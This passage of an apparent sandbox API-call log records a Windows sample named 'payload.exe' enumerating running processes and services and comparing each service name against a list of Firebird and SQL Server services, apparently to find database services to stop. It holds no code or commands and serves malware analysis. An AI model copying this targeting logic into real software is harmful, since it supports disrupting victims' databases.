cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0133.572] lstrlenW (lpString="svchost.exe") returned 11 [0133.572] Process32NextW (in: hSnapshot=0x538, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0133.572] lstrlenW (lpString="spoolsv.exe") returned 11 [0133.572] Process32NextW (in: hSnapshot=0x538, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x668, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0133.573] lstrlenW (lpString="svchost.exe") returned 11 [0133.573] Process32NextW (in: hSnapshot=0x538, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0133.574] lstrlenW (lpString="audiodg.exe") returned 11 [0133.574] Process32NextW (in: hSnapshot=0x538, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0133.574] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0133.574] Process32NextW (in: hSnapshot=0x538, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x724, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0133.575] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0133.575] Process32NextW (in: hSnapshot=0x538, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0133.576] lstrlenW (lpString="Memory Compression") returned 18 [0133.576] Process32NextW (in: hSnapshot=0x538, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x82c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0133.577] lstrlenW (lpString="sihost.exe") returned 10 [0133.577] Process32NextW (in: hSnapshot=0x538, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0133.577] lstrlenW (lpString="svchost.exe") returned 11 [0133.577] Process32NextW (in: hSnapshot=0x538, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0133.578] lstrlenW (lpString="taskhostw.exe") returned 13 [0133.578] Process32NextW (in: hSnapshot=0x538, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1a0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0133.579] lstrlenW (lpString="msoia.exe") returned 9 [0133.579] Process32NextW (in: hSnapshot=0x538, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4a, th32ParentProcessID=0x9b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0133.579] lstrlenW (lpString="explorer.exe") returned 12 [0133.579] Process32NextW (in: hSnapshot=0x538, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0133.580] lstrlenW (lpString="SearchUI.exe") returned 12 [0133.580] Process32NextW (in: hSnapshot=0x538, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0133.581] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0133.581] Process32NextW (in: hSnapshot=0x538, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0133.581] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0133.581] Process32NextW (in: hSnapshot=0x538, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0133.582] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0133.582] Process32NextW (in: hSnapshot=0x538, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x9c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload.exe")) returned 1 [0133.583] lstrlenW (lpString="payload.exe") returned 11 [0133.583] Process32NextW (in: hSnapshot=0x538, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0133.583] lstrlenW (lpString="cmd.exe") returned 7 [0133.583] Process32NextW (in: hSnapshot=0x538, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdf0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0133.584] lstrlenW (lpString="conhost.exe") returned 11 [0133.584] Process32NextW (in: hSnapshot=0x538, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdf0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0133.585] CloseHandle (hObject=0x538) returned 1 [0133.585] Sleep (dwMilliseconds=0x1f4) [0134.158] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x443e490 [0134.158] EnumServicesStatusExW (in: hSCManager=0x443e490, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0) returned 0 [0134.159] GetLastError () returned 0xea [0134.159] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x1c30) returned 0x448dfd8 [0134.159] EnumServicesStatusExW (in: hSCManager=0x443e490, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x448dfd8, cbBufSize=0x1c30, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x448dfd8, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0) returned 1 [0134.159] CloseServiceHandle (hSCObject=0x443e490) returned 1 [0134.159] lstrlenW (lpString="Appinfo") returned 7 [0134.160] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0134.160] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0134.160] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0134.160] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0134.160] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0134.160] lstrlenW (lpString="AppXSvc") returned 7 [0134.160] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0134.160] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0134.160] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0134.160] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0134.160] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0134.160] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0134.160] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0134.160] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0134.160] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0134.160] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0134.160] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0134.160] lstrlenW (lpString="Audiosrv") returned 8 [0134.160] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0134.160] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0134.160] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0134.160] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0134.160] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0134.160] lstrlenW (lpString="BFE") returned 3 [0134.160] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0134.160] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0134.160] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0134.160] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0134.160] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0134.160] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0134.160] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0134.160] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0134.160] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0134.161] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0134.161] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0134.161] lstrlenW (lpString="CDPSvc") returned 6 [0134.161] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0134.161] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0134.161] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0134.161] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0134.161] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0134.161] lstrlenW (lpString="ClickToRunSvc") returned 13 [0134.161] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0134.161] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0134.161] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0134.161] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0134.161] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0134.161] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0134.161] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0134.161] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0134.161] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0134.161] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0134.161] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0134.161] lstrlenW (lpString="CryptSvc") returned 8 [0134.161] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0134.161] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0134.161] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0134.161] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0134.161] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0134.161] lstrlenW (lpString="DcomLaunch") returned 10 [0134.161] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0134.161] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0134.161] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0134.161] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0134.161] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0134.161] lstrlenW (lpString="DeviceAssociationService") returned 24 [0134.161] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0134.162] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0134.162] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0134.162] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0134.162] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0134.162] lstrlenW (lpString="Dhcp") returned 4 [0134.162] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0134.162] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0134.162] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0134.162] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0134.162] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0134.162] lstrlenW (lpString="Dnscache") returned 8 [0134.162] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0134.162] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0134.162] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0134.162] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0134.162] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0134.162] lstrlenW (lpString="DPS") returned 3 [0134.162] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0134.162] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0134.162] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0134.162] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0134.162] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0134.162] lstrlenW (lpString="DusmSvc") returned 7 [0134.162] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0134.162] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0134.162] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0134.162] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0134.162] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0134.162] lstrlenW (lpString="EventLog") returned 8 [0134.162] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0134.162] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0134.162] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0134.162] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0134.163] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0134.163] lstrlenW (lpString="EventSystem") returned 11 [0134.163] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0134.163] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0134.163] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0134.163] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0134.163] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0134.163] lstrlenW (lpString="FontCache") returned 9 [0134.163] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0134.163] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0134.163] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0134.163] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0134.163] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0134.163] lstrlenW (lpString="gpsvc") returned 5 [0134.163] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0134.163] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0134.163] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0134.163] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0134.163] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0134.163] lstrlenW (lpString="iphlpsvc") returned 8 [0134.163] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0134.163] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0134.163] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0134.163] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0134.163] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0134.163] lstrlenW (lpString="KeyIso") returned 6 [0134.163] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0134.163] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0134.163] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0134.163] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0134.163] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0134.163] lstrlenW (lpString="LanmanServer") returned 12 [0134.163] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0134.163] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0134.163] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0134.163] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0134.164] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0134.164] lstrlenW (lpString="LanmanWorkstation") returned 17 [0134.164] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0134.164] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0134.164] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0134.164] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0134.164] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0134.164] lstrlenW (lpString="lfsvc") returned 5 [0134.164] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0134.175] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0134.175] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0134.175] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0134.175] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0134.175] lstrlenW (lpString="lmhosts") returned 7 [0134.175] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0134.175] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0134.175] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0134.175] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0134.175] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0134.175] lstrlenW (lpString="LSM") returned 3 [0134.175] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0134.175] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0134.175] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0134.176] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0134.176] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0134.176] lstrlenW (lpString="MpsSvc") returned 6 [0134.176] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0134.176] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0134.176] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0134.176] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0134.176] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0134.176] lstrlenW (lpString="NcbService") returned 10 [0134.176] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0134.176] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0134.176] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0134.176] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0134.176] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0134.176] lstrlenW (lpString="netprofm") returned 8 [0134.176] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0134.176] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0134.176] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0134.176] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0134.176] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0134.176] lstrlenW (lpString="NgcSvc") returned 6 [0134.176] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0134.176] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0134.176] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0134.176] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0134.176] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0134.176] lstrlenW (lpString="NlaSvc") returned 6 [0134.176] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0134.176] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0134.176] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0134.176] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0134.176] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0134.176] lstrlenW (lpString="nsi") returned 3 [0134.177] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0134.177] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0134.177] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0134.177] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0134.177] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0134.177] lstrlenW (lpString="PcaSvc") returned 6 [0134.177] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0134.177] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0134.177] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0134.177] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0134.177] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0134.177] lstrlenW (lpString="PlugPlay") returned 8 [0134.177] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0134.177] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0134.177] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0134.177] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0134.177] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0134.177] lstrlenW (lpString="Power") returned 5 [0134.177] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0134.177] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0134.177] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0134.177] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0134.177] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0134.177] lstrlenW (lpString="ProfSvc") returned 7 [0134.177] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0134.177] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0134.177] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0134.177] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0134.177] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0134.177] lstrlenW (lpString="RpcEptMapper") returned 12 [0134.177] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0134.177] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0134.177] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0134.177] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0134.178] lstrcmpiW (lpString1="sqlserveradhelper", 